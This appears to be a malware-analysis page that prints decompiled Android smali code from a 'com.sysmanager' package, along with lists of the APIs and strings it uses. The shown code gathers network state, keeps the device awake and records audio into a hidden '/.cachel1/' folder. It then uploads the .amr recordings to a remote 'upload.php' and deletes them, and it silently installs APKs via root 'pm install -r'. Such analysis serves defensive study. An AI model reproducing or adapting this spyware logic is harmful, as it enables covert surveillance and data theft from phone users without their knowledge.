214sget-object v3, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_NONE:Ljava/lang/String;
216invoke-virtual {p4, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
217move-result v3
218if-eqz v3, :cond_45
220iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
222invoke-virtual {v3, v6}, Ljava/util/BitSet;->set(I)V
223goto/16 :goto_45
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • android.content.Context.getSystemService
  • android.net.ConnectivityManager.getAllNetworks
  • android.net.ConnectivityManager.getNetworkInfo
  • android.net.NetworkInfo.getType
  • android.net.ConnectivityManager.getNetworkInfo
  • android.net.NetworkInfo.getType
  • android.net.ConnectivityManager.getNetworkInfo
  • org.json.JSONObject.put
  • android.net.NetworkInfo.isAvailable
  • java.lang.Boolean.valueOf
  • android.net.NetworkInfo.isConnectedOrConnecting
  • java.lang.Boolean.valueOf
  • android.net.NetworkInfo.getExtraInfo
  • android.net.NetworkInfo.isAvailable
  • java.lang.Boolean.valueOf
  • android.net.NetworkInfo.isConnectedOrConnecting
  • java.lang.Boolean.valueOf
  • android.net.NetworkInfo.getExtraInfo
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • connectivity
  • WiFiAvailable
  • WiFiConnectedOrConnecting
  • WiFiExtraInfo
  • MobileNetworkAvailable
  • MobileNetworkConnectedOrConnecting
  • MobileNetworkExtraInfo
  • WiFiAvaible
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6const/4 v9, 0x1
7const/4 v6, 0x0
9invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
10move-result-object v7
12const-string v8, "connectivity"
14invoke-virtual {v7, v8}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
15move-result-object v0
16check-cast v0, Landroid/net/ConnectivityManager;
17if-eqz v0, :cond_bc
18const/4 v3, 0x0
19const/4 v2, 0x0
20try_start_12: sget v7, Landroid/os/Build$VERSION;->SDK_INT:I
21const/16 v8, 0x15
22if-lt v7, v8, :cond_41
24invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getAllNetworks()[Landroid/net/Network;
25move-result-object v5
26array-length v7, v5
27goto_1d: if-ge v6, v7, :cond_4b
28aget-object v4, v5, v6
30invoke-virtual {v0, v4}, Landroid/net/ConnectivityManager;->getNetworkInfo(Landroid/net/Network;)Landroid/net/NetworkInfo;
31move-result-object v8
33invoke-virtual {v8}, Landroid/net/NetworkInfo;->getType()I
34move-result v8
35if-ne v8, v9, :cond_32
37invoke-virtual {v0, v4}, Landroid/net/ConnectivityManager;->getNetworkInfo(Landroid/net/Network;)Landroid/net/NetworkInfo;
38move-result-object v3
39goto_2f: add-int/lit8 v6, v6, 0x1
40goto/16 :goto_1d
41cond_32:
42invoke-virtual {v0, v4}, Landroid/net/ConnectivityManager;->getNetworkInfo(Landroid/net/Network;)Landroid/net/NetworkInfo;
43move-result-object v8
45invoke-virtual {v8}, Landroid/net/NetworkInfo;->getType()I
46move-result v8
47if-nez v8, :cond_2f
49invoke-virtual {v0, v4}, Landroid/net/ConnectivityManager;->getNetworkInfo(Landroid/net/Network;)Landroid/net/NetworkInfo;
50move-result-object v2
51goto/16 :goto_2f
52cond_41: const/4 v6, 0x1
54invoke-virtual {v0, v6}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
55move-result-object v3
56const/4 v6, 0x0
58invoke-virtual {v0, v6}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
59move-result-object v2
60cond_4b:
61iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
63const-string v8, "WiFiAvailable"
64if-nez v3, :cond_8e
66const-string v6, ""
67goto_53:
68invoke-virtual {v7, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
70iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
72const-string v8, "WiFiConnectedOrConnecting"
73if-nez v3, :cond_97
75const-string v6, ""
76goto_5e:
77invoke-virtual {v7, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
79iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
81const-string v8, "WiFiExtraInfo"
82if-nez v3, :cond_a0
84const-string v6, ""
85goto_69:
86invoke-virtual {v7, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
88iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
90const-string v8, "MobileNetworkAvailable"
91if-nez v2, :cond_a5
93const-string v6, ""
94goto_74:
95invoke-virtual {v7, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
97iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
99const-string v8, "MobileNetworkConnectedOrConnecting"
100if-nez v2, :cond_ae
102const-string v6, ""
103goto_7f:
104invoke-virtual {v7, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
106iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
108const-string v8, "MobileNetworkExtraInfo"
109if-nez v2, :cond_b7
111const-string v6, ""
112goto_8a:
113invoke-virtual {v7, v8, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
114goto_8d: return-void
115cond_8e:
116invoke-virtual {v3}, Landroid/net/NetworkInfo;->isAvailable()Z
117move-result v6
119invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
120move-result-object v6
121goto/16 :goto_53
122cond_97:
123invoke-virtual {v3}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
124move-result v6
126invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
127move-result-object v6
128goto/16 :goto_5e
129cond_a0:
130invoke-virtual {v3}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
131move-result-object v6
132goto/16 :goto_69
133cond_a5:
134invoke-virtual {v2}, Landroid/net/NetworkInfo;->isAvailable()Z
135move-result v6
137invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
138move-result-object v6
139goto/16 :goto_74
140cond_ae:
141invoke-virtual {v2}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
142move-result v6
144invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
145move-result-object v6
146goto/16 :goto_7f
147cond_b7:
148invoke-virtual {v2}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
149move-result-object v6
150goto/16 :goto_8a
151cond_bc:
152iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
154const-string v7, "WiFiAvaible"
156const-string v8, ""
158invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
160iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
162const-string v7, "WiFiConnectedOrConnecting"
164const-string v8, ""
166invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
168iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
170const-string v7, "WiFiExtraInfo"
172const-string v8, ""
174invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
176iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
178const-string v7, "MobileNetworkAvailable"
180const-string v8, ""
182invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
184iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
186const-string v7, "MobileNetworkConnectedOrConnecting"
188const-string v8, ""
190invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
192iget-object v6, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
194const-string v7, "MobileNetworkExtraInfo"
196const-string v8, ""
198invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
199try_end_f2: goto/16 :goto_8d
200catch_f3: move-exception v1
202invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
203move-result-object v6
205invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
206move-result-object v7
208invoke-static {v6, v7}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
209goto/16 :goto_8d
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.AndroidSystemService.getSystemService
  • java.lang.Class.cast
  • android.os.PowerManager.newWakeLock
  • android.os.PowerManager$WakeLock.setReferenceCounted
  • android.os.PowerManager$WakeLock.acquire
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • com.sysmanager.system.AndroidSystemService.copyPendingAudio
  • com.sysmanager.system.AndroidSystemService.getSystemService
  • java.lang.Class.cast
  • com.sysmanager.system.AndroidSystemService.checkCallingOrSelfPermission
  • android.telephony.TelephonyManager.getPhoneType
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.system.AndroidSystemService$PhoneListener.<init>
  • android.telephony.TelephonyManager.listen
  • com.sysmanager.system.AndroidSystemService.startRecording
Strings
  • power
  • System service
  • /temp/
  • /.cachel1/
  • phone
  • android.permission.READ_PHONE_STATE
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
4const/16 v6, 0x18
5if-ge v5, v6, :cond_15
6new-instance v1, Lcom/sysmanager/system/AndroidSystemService$2;
8invoke-direct {v1, p0}, Lcom/sysmanager/system/AndroidSystemService$2;-><init>(Lcom/sysmanager/system/AndroidSystemService;)V
9new-instance v5, Lcom/sysmanager/system/AudioController;
11invoke-direct {v5, p0, v1}, Lcom/sysmanager/system/AudioController;-><init>(Landroid/content/Context;Lcom/sysmanager/system/AudioController$OnRecordingForegroundAppListener;)V
12iput-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mAudioController:Lcom/sysmanager/system/AudioController;
13cond_15: const-class v5, Landroid/os/PowerManager;
15const-string v6, "power"
17invoke-virtual {p0, v6}, Lcom/sysmanager/system/AndroidSystemService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
18move-result-object v6
20invoke-virtual {v5, v6}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
21move-result-object v2
22check-cast v2, Landroid/os/PowerManager;
23const/4 v5, 0x1
25const-string v6, "System service"
27invoke-virtual {v2, v5, v6}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
28move-result-object v5
29iput-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mWakelock:Landroid/os/PowerManager$WakeLock;
31iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mWakelock:Landroid/os/PowerManager$WakeLock;
32const/4 v6, 0x0
34invoke-virtual {v5, v6}, Landroid/os/PowerManager$WakeLock;->setReferenceCounted(Z)V
36iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mWakelock:Landroid/os/PowerManager$WakeLock;
38invoke-virtual {v5}, Landroid/os/PowerManager$WakeLock;->acquire()V
39new-instance v3, Ljava/io/File;
40new-instance v5, Ljava/lang/StringBuilder;
42invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
44invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getFilesDir()Ljava/io/File;
45move-result-object v6
47invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
48move-result-object v5
50const-string v6, "/temp/"
52invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
53move-result-object v5
55invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
56move-result-object v5
58invoke-direct {v3, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
60invoke-virtual {v3}, Ljava/io/File;->exists()Z
61move-result v5
62if-nez v5, :cond_5c
64invoke-virtual {v3}, Ljava/io/File;->mkdir()Z
65cond_5c: new-instance v0, Ljava/io/File;
66new-instance v5, Ljava/lang/StringBuilder;
68invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
70invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getFilesDir()Ljava/io/File;
71move-result-object v6
73invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
74move-result-object v5
76const-string v6, "/.cachel1/"
78invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
79move-result-object v5
81invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
82move-result-object v5
84invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
86invoke-virtual {v0}, Ljava/io/File;->exists()Z
87move-result v5
88if-nez v5, :cond_81
90invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
91cond_81:
92invoke-direct {p0, v3}, Lcom/sysmanager/system/AndroidSystemService;->copyPendingAudio(Ljava/io/File;)V
93const-class v5, Landroid/telephony/TelephonyManager;
95const-string v6, "phone"
97invoke-virtual {p0, v6}, Lcom/sysmanager/system/AndroidSystemService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
98move-result-object v6
100invoke-virtual {v5, v6}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
101move-result-object v4
102check-cast v4, Landroid/telephony/TelephonyManager;
104const-string v5, "android.permission.READ_PHONE_STATE"
106invoke-virtual {p0, v5}, Lcom/sysmanager/system/AndroidSystemService;->checkCallingOrSelfPermission(Ljava/lang/String;)I
107move-result v5
108if-nez v5, :cond_b0
109if-eqz v4, :cond_b0
111invoke-virtual {v4}, Landroid/telephony/TelephonyManager;->getPhoneType()I
112move-result v5
113if-eqz v5, :cond_b0
114new-instance v5, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;
116invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
117move-result-object v6
119invoke-direct {v5, p0, v6}, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;-><init>(Lcom/sysmanager/system/AndroidSystemService;Landroid/content/Context;)V
120const/16 v6, 0x20
122invoke-virtual {v4, v5, v6}, Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener;I)V
123cond_b0:
124invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->startRecording()V
125return-void
APIs
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidAlarmManager.access$000
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidAlarmManager.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.listFiles
  • java.util.Arrays.sort
  • java.io.File.getName
  • com.sysmanager.system.AndroidAlarmManager.getApplicationContext
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidAlarmManager.access$100
  • android.os.Handler.post
  • com.sysmanager.system.AndroidAlarmManager.stopSelf
  • com.sysmanager.system.AndroidAlarmManager.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidAlarmManager.stopSelf
  • com.sysmanager.system.AndroidAlarmManager.access$000
  • com.sysmanager.system.AndroidAlarmManager.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidAlarmManager.stopSelf
  • com.sysmanager.system.AndroidAlarmManager.access$000
Strings
  • /.cachel1/
  • A70
  • upload.php
  • .amr
  • col20
  • col05
Position Instruction Meta Information
0.prologue
2iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
4invoke-static {v2}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
5move-result v10
6packed-switch v10, :pswitch_data_be
7pswitch_9:
8iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
10invoke-static {v2}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
11move-result-object v3
13invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
14move-result v2
15if-eqz v2, :cond_1a
17iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
19invoke-static {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->access$000(Lcom/sysmanager/system/AndroidAlarmManager;)V
20cond_1a: const/4 v9, 0x0
21new-instance v0, Ljava/io/File;
22new-instance v2, Ljava/lang/StringBuilder;
24invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
26iget-object v4, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
28invoke-virtual {v4}, Lcom/sysmanager/system/AndroidAlarmManager;->getFilesDir()Ljava/io/File;
29move-result-object v4
31invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
32move-result-object v2
34const-string v4, "/.cachel1/"
36invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
37move-result-object v2
39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
40move-result-object v2
42invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
44invoke-virtual {v0}, Ljava/io/File;->exists()Z
45move-result v2
46if-eqz v2, :cond_43
48invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
49move-result-object v9
50cond_43: if-eqz v9, :cond_9f
51array-length v2, v9
52if-lez v2, :cond_9f
53new-instance v2, Lcom/sysmanager/system/AndroidAlarmManager$1$1;
55invoke-direct {v2, p0}, Lcom/sysmanager/system/AndroidAlarmManager$1$1;-><init>(Lcom/sysmanager/system/AndroidAlarmManager$1;)V
57invoke-static {v9, v2}, Ljava/util/Arrays;->sort([Ljava/lang/Object;Ljava/util/Comparator;)V
58const/4 v2, 0x0
59aget-object v2, v9, v2
61invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
62move-result-object v1
64const-string v2, "A70"
66const-string v4, "upload.php"
68const-string v5, ".amr"
70iget-object v6, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
72invoke-virtual {v6}, Lcom/sysmanager/system/AndroidAlarmManager;->getApplicationContext()Landroid/content/Context;
73move-result-object v6
75invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
76move-result v8
77if-eqz v8, :cond_99
78new-instance v7, Ljava/io/File;
80invoke-direct {v7, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
82invoke-virtual {v7}, Ljava/io/File;->delete()Z
84iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
86invoke-static {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->access$100(Lcom/sysmanager/system/AndroidAlarmManager;)Landroid/os/Handler;
87move-result-object v2
89invoke-virtual {v2, p0}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
90goto_7a: return-void
91pswitch_7b:
92iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
94invoke-virtual {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->stopSelf()V
95goto/16 :goto_7a
96pswitch_81:
97iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
99invoke-virtual {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->getApplicationContext()Landroid/content/Context;
100move-result-object v2
102invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
103move-result-object v2
105const-string v4, "col20"
107invoke-virtual {v2, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
108move-result v2
109if-nez v2, :cond_9
111iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
113invoke-virtual {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->stopSelf()V
114goto/16 :goto_7a
115cond_99:
116iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
118invoke-static {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->access$000(Lcom/sysmanager/system/AndroidAlarmManager;)V
119goto/16 :goto_7a
120cond_9f:
121iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
123invoke-virtual {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->getApplicationContext()Landroid/content/Context;
124move-result-object v2
126invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
127move-result-object v2
129const-string v4, "col05"
131invoke-virtual {v2, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
132move-result v2
133const/4 v4, 0x1
134if-eq v2, v4, :cond_b8
136iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
138invoke-virtual {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->stopSelf()V
139goto/16 :goto_7a
140cond_b8:
141iget-object v2, p0, Lcom/sysmanager/system/AndroidAlarmManager$1;->this$0:Lcom/sysmanager/system/AndroidAlarmManager;
143invoke-static {v2}, Lcom/sysmanager/system/AndroidAlarmManager;->access$000(Lcom/sysmanager/system/AndroidAlarmManager;)V
144goto/16 :goto_7a
Cross References
APIs
  • java.io.File.<init>
  • java.io.File.exists
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.Context.checkCallingOrSelfPermission
  • java.lang.Runtime.getRuntime
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Runtime.exec
  • android.content.Intent.<init>
  • android.net.Uri.fromFile
  • android.content.Intent.setDataAndType
  • android.content.Intent.setFlags
  • android.content.Context.startActivity
Strings
  • /system/xbin/ng
  • pm install -r
  • /su/bin/ng
  • android.permission.INSTALL_PACKAGES
  • android.intent.action.VIEW
  • application/vnd.android.package-archive
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "apk" # Ljava/io/File;
2.prologue
3new-instance v2, Ljava/io/File;
5const-string v3, "/system/xbin/ng"
7invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
9invoke-virtual {v2}, Ljava/io/File;->exists()Z
10move-result v2
11if-eqz v2, :cond_2a
12new-instance v2, Ljava/lang/StringBuilder;
14invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
16const-string v3, "pm install -r "
18invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
19move-result-object v2
21invoke-virtual {p2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
22move-result-object v3
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v2
27invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
28move-result-object v2
30const-string v3, "/system/xbin/ng"
32invoke-static {v2, v3}, Lcom/sysmanager/utils/Commands;->executeCommands(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
33goto_29: return-void
34cond_2a: new-instance v2, Ljava/io/File;
36const-string v3, "/su/bin/ng"
38invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
40invoke-virtual {v2}, Ljava/io/File;->exists()Z
41move-result v2
42if-eqz v2, :cond_54
43new-instance v2, Ljava/lang/StringBuilder;
45invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
47const-string v3, "pm install -r "
49invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v2
52invoke-virtual {p2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
53move-result-object v3
55invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v2
58invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59move-result-object v2
61const-string v3, "/su/bin/ng"
63invoke-static {v2, v3}, Lcom/sysmanager/utils/Commands;->executeCommands(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
64goto/16 :goto_29
65cond_54:
66const-string v2, "android.permission.INSTALL_PACKAGES"
68invoke-virtual {p1, v2}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
69move-result v2
70if-nez v2, :cond_84
71try_start_5c:
72invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
73move-result-object v2
74new-instance v3, Ljava/lang/StringBuilder;
76invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
78const-string v4, "pm install -r "
80invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v3
83invoke-virtual {p2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
84move-result-object v4
86invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
87move-result-object v3
89invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
90move-result-object v3
92invoke-virtual {v2, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
93try_end_7a: goto/16 :goto_29
94catch_7b: move-exception v0
96invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
97move-result-object v2
99invoke-static {p1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
100goto/16 :goto_29
101cond_84: new-instance v1, Landroid/content/Intent;
103const-string v2, "android.intent.action.VIEW"
105invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
107invoke-static {p2}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
108move-result-object v2
110const-string v3, "application/vnd.android.package-archive"
112invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
113const/high16 v2, 0x10000000
115invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
117invoke-virtual {p1, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
118goto/16 :goto_29
APIs
  • android.app.Activity.onCreate
  • java.lang.StringBuilder.<init>
